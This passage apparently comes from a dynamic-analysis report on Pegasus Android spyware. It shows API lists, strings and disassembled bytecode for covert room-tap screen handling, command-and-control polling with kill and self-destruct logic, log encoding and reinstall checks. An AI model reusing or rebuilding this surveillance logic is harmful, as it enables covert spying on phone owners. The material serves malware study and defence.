      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.SharedPreferences.getInt
      • android.content.Context.getContentResolver
      • android.provider.Settings$System.putInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.SharedPreferences.getInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.SharedPreferences.getInt
      • java.lang.Integer.valueOf
      • android.content.SharedPreferences.getInt
      • java.lang.Integer.valueOf
      • com.network.android.roomTap.AutoAnswerReceiver.a
      • android.content.SharedPreferences.getInt
      • java.lang.Integer.valueOf
      • java.lang.Integer.intValue
      • com.network.android.roomTap.BlackScreen.a
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • BlackScreen fixSettingsIfWeDidntFinishNicly checking screen turn off interval
      • screen_off_timeout
      • BlackScreen fixSettingsIfWeDidntFinishNicly after getting interval. value:
      • BlackScreen fixSettingsIfWeDidntFinishNicly after getting interval. value: 1800000
      • BlackScreen fixSettingsIfWeDidntFinishNicly screen interval is too low. means tap wasn\'t finished nicly. setting original value to screen timeout
      • ScreenTimeout
      • BlackScreen fixSettingsIfWeDidntFinishNicly screen timeout in conf was too small. setting default value
      • BlackScreen fixSettingsIfWeDidntFinishNicly after setting screen timeout. value:
      • wasPhoneWasUnmutedAfterTapNicly
      • BlackScreen fixSettingsIfWeDidntFinishNicly didWeFinishedUnmutingNicly:
      • BlackScreen fixSettingsIfWeDidntFinishNicly didWeFinishedUnmutingNicly: 1
      • BlackScreen did not finish nicly. fixing settings
      • originalVibrateValue
      • originalRingerValue
      • screenProximtySensor
      • BlackScreen fixSettingsIfWeDidntFinishNicly createBlackFilter exception: .
      Position Instruction Meta Information
      0const/16 v3, 0x3a98
      1try_start_2:
      2const-string v0, "BlackScreen fixSettingsIfWeDidntFinishNicly checking screen turn off interval"
      4invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068768
        • p0: BlackScreen fixSettingsIfWeDidntFinishNicly checking screen turn off interval
      6invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      7move-result-object v0
      9const-string v1, "screen_off_timeout"
      10const/4 v2, 0x0
      12invoke-static {v0, v1, v2}, Landroid/provider/Settings$System;->getInt(Landroid/content/ContentResolver;Ljava/lang/String;I)I
      13move-result v0
      14new-instance v1, Ljava/lang/StringBuilder;
      16const-string v2, "BlackScreen fixSettingsIfWeDidntFinishNicly after getting interval. value: "
      18invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      20invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      21move-result-object v1
      23invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      24move-result-object v1
      26invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068789
        • p0: BlackScreen fixSettingsIfWeDidntFinishNicly after getting interval. value: 1800000
      27if-ge v0, v3, :cond_57
      29const-string v0, "BlackScreen fixSettingsIfWeDidntFinishNicly screen interval is too low. means tap wasn\'t finished nicly. setting original value to screen timeout"
      31invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      33const-string v0, "ScreenTimeout"
      34const/4 v1, 0x0
      36invoke-interface {p1, v0, v1}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      37move-result v0
      38if-ge v0, v3, :cond_3c
      40const-string v0, "BlackScreen fixSettingsIfWeDidntFinishNicly screen timeout in conf was too small. setting default value"
      42invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      43const v0, 0xea60
      44cond_3c:
      45invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
      46move-result-object v1
      48const-string v2, "screen_off_timeout"
      50invoke-static {v1, v2, v0}, Landroid/provider/Settings$System;->putInt(Landroid/content/ContentResolver;Ljava/lang/String;I)Z
      51new-instance v1, Ljava/lang/StringBuilder;
      53const-string v2, "BlackScreen fixSettingsIfWeDidntFinishNicly after setting screen timeout. value: "
      55invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      57invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      58move-result-object v0
      60invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      61move-result-object v0
      63invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      64cond_57:
      65const-string v0, "wasPhoneWasUnmutedAfterTapNicly"
      66const/4 v1, 0x1
      68invoke-interface {p1, v0, v1}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      69move-result v0
      70new-instance v1, Ljava/lang/StringBuilder;
      72const-string v2, "BlackScreen fixSettingsIfWeDidntFinishNicly didWeFinishedUnmutingNicly: "
      74invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      76invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      77move-result-object v1
      79invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      80move-result-object v1
      82invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068791
        • p0: BlackScreen fixSettingsIfWeDidntFinishNicly didWeFinishedUnmutingNicly: 1
      83if-nez v0, :cond_a2
      85const-string v0, "BlackScreen did not finish nicly. fixing settings"
      87invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      89const-string v0, "originalVibrateValue"
      90const/4 v1, 0x0
      92invoke-interface {p1, v0, v1}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      93move-result v0
      95invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      96move-result-object v0
      98const-string v1, "originalRingerValue"
      99const/4 v2, 0x0
      101invoke-interface {p1, v1, v2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      102move-result v1
      104invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      105move-result-object v1
      107invoke-static {v1, v0, p0}, Lcom/network/android/roomTap/AutoAnswerReceiver;->a(Ljava/lang/Integer;Ljava/lang/Integer;Landroid/content/Context;)V
      109const-string v0, "screenProximtySensor"
      110const/4 v1, 0x1
      112invoke-interface {p1, v0, v1}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
      113move-result v0
      115invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
      116move-result-object v0
      118invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
      119move-result v0
      121invoke-static {v0, p0}, Lcom/network/android/roomTap/BlackScreen;->a(ILandroid/content/Context;)V
      122goto_a2: return-void
      123catch_a3: move-exception v0
      124new-instance v1, Ljava/lang/StringBuilder;
      126const-string v2, "BlackScreen fixSettingsIfWeDidntFinishNicly createBlackFilter exception: ."
      128invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      130invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      131move-result-object v0
      133invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      134move-result-object v0
      136invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      137move-result-object v0
      139invoke-static {v0}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      140goto/16 :goto_a2
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.Vector.isEmpty
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.System.currentTimeMillis
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Integer.intValue
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • CoreReceiver mainLooper Have Data to send!!!!
      • CoreReceiver mainLooper Can\'t Send Data!!!!
      • CoreReceiver mainLooper exception:
      • CoreReceiver mainLooper Have HTTP ping to send for send back the command id!!!!
      • CoreReceiver mainLooper Have to kill!!!!
      • KILL
      • CoreReceiver mainLooper Have to ping!!!!
      • httpPing
      • CoreReceiver mainLooper Have HTTP ping for empty the error log!!!!
      • CoreReceiver PollingManager shouldSuicide check
      • CoreReceiver PollingManager shouldSuicide - timeAfterLastCom (MILIseconds):
      • CoreReceiver PollingManager shouldSuicide - timeAfterLastCom (MILIseconds): 0
      • CoreReceiver PollingManager shouldSuicide - timeAfterLastCom (seconds):
      • CoreReceiver PollingManager shouldSuicide - minutes with no comunication !!!!!
      • CoreReceiver PollingManager shouldSuicide - days with no comunication !!!!!!
      • LOG_GRACE_PERIOD_TIMEOUT
      • CoreReceiver mainLooper shouldSuicide chek fail!!! Suicide procces started!
      • CoreReceiver mainLooper Nothing To Do
      Position Instruction Meta Information
      0const/4 v1, 0x0
      1const/4 v0, 0x1
      2try_start_2:
      3invoke-static {p0}, Lcom/network/android/a/b;->a(Landroid/content/Context;)V
      5invoke-static {p0}, Lcom/network/android/j;->d(Landroid/content/Context;)Z
      6move-result v2
      7if-eqz v2, :cond_3a
      9const-string v0, "CoreReceiver mainLooper Have Data to send!!!!"
      11invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      12const/4 v0, 0x0
      13const/4 v1, 0x1
      15invoke-static {p0, v0, v1}, Lcom/network/android/j;->a(Landroid/content/Context;ZZ)Z
      16move-result v0
      17if-eqz v0, :cond_1c
      19invoke-static {p0}, Lcom/network/android/j;->a(Landroid/content/Context;)V
      20goto_1b: return-void
      21cond_1c:
      22const-string v0, "CoreReceiver mainLooper Can\'t Send Data!!!!"
      24invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      25try_end_21: goto/16 :goto_1b
      26catch_22: move-exception v0
      27new-instance v1, Ljava/lang/StringBuilder;
      29const-string v2, "CoreReceiver mainLooper exception: "
      31invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      33invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      34move-result-object v2
      36invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      37move-result-object v1
      39invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      40move-result-object v1
      42invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      43goto/16 :goto_1b
      44cond_3a:
      45sget-object v2, Lcom/network/android/a/c;->a:Ljava/util/Vector;
      47invoke-virtual {v2}, Ljava/util/Vector;->isEmpty()Z
      48move-result v2
      49if-nez v2, :cond_69
      51const-string v0, "CoreReceiver mainLooper Have HTTP ping to send for send back the command id!!!!"
      53invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      54sget-boolean v0, Lcom/network/android/a/c;->i:Z
      55if-eqz v0, :cond_56
      57const-string v0, "CoreReceiver mainLooper Have to kill!!!!"
      59invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      61const-string v0, "KILL"
      63invoke-static {p0, v0}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      64goto/16 :goto_1b
      65cond_56: const/4 v0, 0x0
      66const/4 v1, 0x1
      68invoke-static {p0, v0, v1}, Lcom/network/android/j;->a(Landroid/content/Context;ZZ)Z
      69move-result v0
      70if-eqz v0, :cond_1b
      72const-string v0, "CoreReceiver mainLooper Have to ping!!!!"
      74invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      76const-string v0, "httpPing"
      78invoke-static {p0, v0}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      79goto/16 :goto_1b
      80cond_69: sget-boolean v2, Lcom/network/android/a/c;->i:Z
      81if-eqz v2, :cond_78
      83const-string v0, "CoreReceiver mainLooper Have to kill!!!!"
      85invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      87const-string v0, "KILL"
      89invoke-static {p0, v0}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      90goto/16 :goto_1b
      91cond_78:
      92invoke-static {}, Lcom/network/android/c/a/b;->c()Z
      • Time: 1074384
        • Return:
          • false
      93move-result v2
      94if-eqz v2, :cond_91
      95const/4 v0, 0x0
      96const/4 v1, 0x1
      98invoke-static {p0, v0, v1}, Lcom/network/android/j;->a(Landroid/content/Context;ZZ)Z
      99move-result v0
      100if-eqz v0, :cond_1b
      102const-string v0, "CoreReceiver mainLooper Have HTTP ping for empty the error log!!!!"
      104invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      106const-string v0, "httpPing"
      108invoke-static {p0, v0}, Lcom/network/android/a/c;->a(Landroid/content/Context;Ljava/lang/String;)V
      109goto/16 :goto_1b
      110cond_91:
      111const-string v2, "CoreReceiver PollingManager shouldSuicide check"
      113invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074387
        • p0: CoreReceiver PollingManager shouldSuicide check
      115invoke-static {}, Lcom/network/b/b;->i()J
      116move-result-wide v2
      117new-instance v4, Ljava/lang/StringBuilder;
      119const-string v5, "CoreReceiver PollingManager shouldSuicide - timeAfterLastCom (MILIseconds): "
      121invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      123invoke-virtual {v4, v2, v3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      124move-result-object v4
      126invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      127move-result-object v4
      129invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074392
        • p0: CoreReceiver PollingManager shouldSuicide - timeAfterLastCom (MILIseconds): 0
      130const-wide/16 v4, 0x0
      131cmp-long v4, v2, v4
      132if-eqz v4, :cond_121
      134invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
      135move-result-wide v4
      136const-wide/16 v6, 0x3e8
      137div-long/2addr v4, v6
      138sub-long v2, v4, v2
      139new-instance v4, Ljava/lang/StringBuilder;
      141const-string v5, "CoreReceiver PollingManager shouldSuicide - timeAfterLastCom (seconds): "
      143invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      145invoke-virtual {v4, v2, v3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      146move-result-object v4
      148invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      149move-result-object v4
      151invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      153invoke-static {}, Lcom/network/b/b;->K()Ljava/lang/Integer;
      154move-result-object v4
      156invoke-virtual {v4}, Ljava/lang/Integer;->intValue()I
      157move-result v4
      158int-to-long v4, v4
      159cmp-long v4, v2, v4
      160if-lez v4, :cond_121
      161new-instance v1, Ljava/lang/StringBuilder;
      163invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      164const-wide/16 v4, 0x3c
      165div-long v4, v2, v4
      167invoke-virtual {v1, v4, v5}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      168move-result-object v1
      170const-string v4, "CoreReceiver PollingManager shouldSuicide - minutes with no comunication !!!!!"
      172invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      173move-result-object v1
      175invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      176move-result-object v1
      178invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      179new-instance v1, Ljava/lang/StringBuilder;
      181invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      182const-wide/16 v4, 0x5a0
      183div-long/2addr v2, v4
      185invoke-virtual {v1, v2, v3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      186move-result-object v1
      188const-string v2, "CoreReceiver PollingManager shouldSuicide - days with no comunication !!!!!!"
      190invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      191move-result-object v1
      193invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      194move-result-object v1
      196invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      197const/4 v1, 0x1
      198const/16 v2, 0x8
      200const-string v3, "LOG_GRACE_PERIOD_TIMEOUT"
      202invoke-static {v1, v2, v3}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      204invoke-static {p0}, Lcom/network/android/a/c;->a(Landroid/content/Context;)V
      205goto_118: if-eqz v0, :cond_123
      207const-string v0, "CoreReceiver mainLooper shouldSuicide chek fail!!! Suicide procces started!"
      209invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      210goto/16 :goto_1b
      211cond_121: move v0, v1
      212goto/16 :goto_118
      213cond_123:
      214const-string v0, "CoreReceiver mainLooper Nothing To Do"
      216invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074395
        • p0: CoreReceiver mainLooper Nothing To Do
      217try_end_128: goto/16 :goto_1b
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.DataOutputStream.writeByte
      • java.io.DataOutputStream.writeShort
      • java.lang.System.currentTimeMillis
      • java.io.DataOutputStream.writeInt
      • java.io.DataOutputStream.writeByte
      • java.io.DataOutputStream.writeShort
      • java.io.DataOutputStream.writeShort
      • java.lang.Object.getClass
      • java.lang.Object.equals
      • java.io.DataOutputStream.writeByte
      • java.lang.String.length
      • java.io.DataOutputStream.writeShort
      • java.lang.String.getBytes
      • java.io.DataOutputStream.write
      • java.lang.Object.getClass
      • java.lang.Object.equals
      • java.io.DataOutputStream.writeByte
      • java.io.DataOutputStream.writeShort
      • java.lang.Integer.intValue
      • java.io.DataOutputStream.writeInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Object.getClass
      • java.lang.Object.equals
      • java.io.DataOutputStream.writeByte
      • java.io.DataOutputStream.writeShort
      • java.io.DataOutputStream.writeInt
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • log createByteArrayError CommandIdClass code ==
      • log createByteArrayError CommandIdClass code == 1
      • log createByteArrayError CommandIdClass code == 2
      • log createByteArrayError CommandIdClass code == 34
      • log createByteArrayError CommandIdClass code == 4
      • log createByteArrayError size == 4
      • log createByteArrayError CommandIdClass Integer command id ==
      • log createByteArrayError CommandIdClass Object command id ==
      Position Instruction Meta Information
      0const/4 v6, 0x2
      1const/4 v5, 0x4
      2new-instance v0, Ljava/lang/StringBuilder;
      4const-string v1, "log createByteArrayError CommandIdClass code == "
      6invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      8invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      9move-result-object v0
      11invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      12move-result-object v0
      14invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073224
        • p0: log createByteArrayError CommandIdClass code == 1
      • Time: 1073684
        • p0: log createByteArrayError CommandIdClass code == 4
      • Time: 1074174
        • p0: log createByteArrayError CommandIdClass code == 2
      • Time: 1074581
        • p0: log createByteArrayError CommandIdClass code == 34
      16sget-object v0, Lcom/network/android/c/a/b;->g:Ljava/io/DataOutputStream;
      17const/4 v1, 0x1
      19invoke-virtual {v0, v1}, Ljava/io/DataOutputStream;->writeByte(I)V
      21sget-object v0, Lcom/network/android/c/a/b;->g:Ljava/io/DataOutputStream;
      23invoke-virtual {v0, v5}, Ljava/io/DataOutputStream;->writeShort(I)V
      25sget-object v0, Lcom/network/android/c/a/b;->g:Ljava/io/DataOutputStream;
      27invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
      28move-result-wide v1
      29const-wide/16 v3, 0x3e8
      30div-long/2addr v1, v3
      31long-to-int v1, v1
      33invoke-virtual {v0, v1}, Ljava/io/DataOutputStream;->writeInt(I)V
      35sget-object v0, Lcom/network/android/c/a/b;->g:Ljava/io/DataOutputStream;
      37invoke-virtual {v0, v6}, Ljava/io/DataOutputStream;->writeByte(I)V
      39sget-object v0, Lcom/network/android/c/a/b;->g:Ljava/io/DataOutputStream;
      41invoke-virtual {v0, v6}, Ljava/io/DataOutputStream;->writeShort(I)V
      43sget-object v0, Lcom/network/android/c/a/b;->g:Ljava/io/DataOutputStream;
      45invoke-virtual {v0, p0}, Ljava/io/DataOutputStream;->writeShort(I)V
      46if-nez p1, :cond_42
      48invoke-static {}, Lcom/network/android/c/a/b;->d()[B
      49move-result-object v0
      50goto_41: return-object v0
      51cond_42:
      52invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
      53move-result-object v0
      54const-class v1, Ljava/lang/String;
      56invoke-virtual {v0, v1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
      57move-result v0
      58if-eqz v0, :cond_70
      60sget-object v0, Lcom/network/android/c/a/b;->g:Ljava/io/DataOutputStream;
      61const/4 v1, 0x5
      63invoke-virtual {v0, v1}, Ljava/io/DataOutputStream;->writeByte(I)V
      65sget-object v1, Lcom/network/android/c/a/b;->g:Ljava/io/DataOutputStream;
      66move-object v0, p1
      67check-cast v0, Ljava/lang/String;
      69invoke-virtual {v0}, Ljava/lang/String;->length()I
      70move-result v0
      72invoke-virtual {v1, v0}, Ljava/io/DataOutputStream;->writeShort(I)V
      74sget-object v0, Lcom/network/android/c/a/b;->g:Ljava/io/DataOutputStream;
      75check-cast p1, Ljava/lang/String;
      77invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
      78move-result-object v1
      80invoke-virtual {v0, v1}, Ljava/io/DataOutputStream;->write([B)V
      81goto_6b:
      82invoke-static {}, Lcom/network/android/c/a/b;->d()[B
      83move-result-object v0
      84goto/16 :goto_41
      85cond_70:
      86invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
      87move-result-object v0
      88const-class v1, Ljava/lang/Integer;
      90invoke-virtual {v0, v1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
      91move-result v0
      92if-eqz v0, :cond_ad
      94sget-object v0, Lcom/network/android/c/a/b;->g:Ljava/io/DataOutputStream;
      95const/4 v1, 0x3
      97invoke-virtual {v0, v1}, Ljava/io/DataOutputStream;->writeByte(I)V
      99sget-object v0, Lcom/network/android/c/a/b;->g:Ljava/io/DataOutputStream;
      101invoke-virtual {v0, v5}, Ljava/io/DataOutputStream;->writeShort(I)V
      103const-string v0, "log createByteArrayError size == 4"
      105invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      107sget-object v1, Lcom/network/android/c/a/b;->g:Ljava/io/DataOutputStream;
      108move-object v0, p1
      109check-cast v0, Ljava/lang/Integer;
      111invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
      112move-result v0
      114invoke-virtual {v1, v0}, Ljava/io/DataOutputStream;->writeInt(I)V
      115new-instance v0, Ljava/lang/StringBuilder;
      117const-string v1, "log createByteArrayError CommandIdClass Integer command id == "
      119invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      120check-cast p1, Ljava/lang/Integer;
      122invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      123move-result-object v0
      125invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      126move-result-object v0
      128invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      129goto/16 :goto_6b
      130cond_ad:
      131invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
      132move-result-object v0
      133const-class v1, Lcom/network/android/c/a/c;
      135invoke-virtual {v0, v1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
      136move-result v0
      137if-eqz v0, :cond_6b
      139sget-object v0, Lcom/network/android/c/a/b;->g:Ljava/io/DataOutputStream;
      140const/4 v1, 0x6
      142invoke-virtual {v0, v1}, Ljava/io/DataOutputStream;->writeByte(I)V
      144sget-object v0, Lcom/network/android/c/a/b;->g:Ljava/io/DataOutputStream;
      146invoke-virtual {v0, v5}, Ljava/io/DataOutputStream;->writeShort(I)V
      148const-string v0, "log createByteArrayError size == 4"
      150invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      152sget-object v1, Lcom/network/android/c/a/b;->g:Ljava/io/DataOutputStream;
      153move-object v0, p1
      154check-cast v0, Lcom/network/android/c/a/c;
      155iget v0, v0, Lcom/network/android/c/a/c;->a:I
      157invoke-virtual {v1, v0}, Ljava/io/DataOutputStream;->writeInt(I)V
      158new-instance v0, Ljava/lang/StringBuilder;
      160const-string v1, "log createByteArrayError CommandIdClass Object command id == "
      162invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      163check-cast p1, Lcom/network/android/c/a/c;
      164iget v1, p1, Lcom/network/android/c/a/c;->a:I
      166invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      167move-result-object v0
      169invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      170move-result-object v0
      172invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      173goto/16 :goto_6b
      Cross References
      APIs
      • android.app.Application.onCreate
      • java.io.File.<init>
      • java.io.File.length
      • java.io.File.<init>
      • java.io.File.getAbsolutePath
      • java.io.File.mkdir
      • android.content.IntentFilter.<init>
      • com.network.android.android.monitor.AndroidMonitorApplication.a:Lcom/network/e/a/b
      • com.network.android.android.monitor.AndroidMonitorApplication.a
      • com.network.android.android.monitor.a.<init>
      • com.network.android.android.monitor.AndroidMonitorApplication.b:Landroid/content/BroadcastReceiver
      • com.network.android.android.monitor.AndroidMonitorApplication.registerReceiver
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.Intent.<init>
      • android.content.Intent.setAction
      • com.network.android.android.monitor.AndroidMonitorApplication.startService
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • AndroidMonitorApplication: Android Monitor Application Create
      • performIfAgentWasInstalledInOvverideCheck starting
      • /data/reinslock
      • NetworkManagerService found reinstall sync file. that mean we were installed by reinstall
      • /data/data/com.network.android
      • LOG_AGENT_WAS_INTALLED__BY_OVVERIDE
      • performIfAgentWasInstalledInOvverideCheck end
      • AndroidMonitorApplication Build.VERSION.SDK_INT:
      • AndroidMonitorApplication Build.VERSION.SDK_INT:28
      • AndroidMonitorApplication: startService ACTION_ENTRY_POINT
      • ACTION_ENTRY_POINT
      • AndroidMonitorApplication: Pegasus Android Monitor Application Initialized Successfully!
      • performIfAgentWasInstalledInOvverideCheck exception
      • AndroidMonitorApplication: 4.3 JELLY_BEAN_MR2. working without the service
      Position Instruction Meta Information
      1invoke-super {p0}, Landroid/app/Application;->onCreate()V
      3const-string v0, "AndroidMonitorApplication: Android Monitor Application Create"
      5invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1067053
        • p0: AndroidMonitorApplication: Android Monitor Application Create
      6try_start_8:
      7const-string v0, "performIfAgentWasInstalledInOvverideCheck starting"
      9invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1067057
        • p0: performIfAgentWasInstalledInOvverideCheck starting
      10new-instance v0, Ljava/io/File;
      12const-string v1, "/data/reinslock"
      14invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1067059
        • This:
          • /data/reinslock
        • p0: /data/reinslock
        • Return:
          • /data/reinslock
      16invoke-virtual {v0}, Ljava/io/File;->length()J
      • Time: 1067101
        • This:
          • /data/reinslock
        • Return:
          • 0
      17move-result-wide v0
      18const-wide/16 v2, 0x0
      19cmp-long v0, v0, v2
      20if-lez v0, :cond_41
      22const-string v0, "NetworkManagerService found reinstall sync file. that mean we were installed by reinstall"
      24invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      25new-instance v0, Ljava/io/File;
      27const-string v1, "/data/data/com.network.android"
      29invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      31const-string v1, "/data/reinslock"
      33invoke-static {v1}, Lcom/network/h/b;->b(Ljava/lang/String;)V
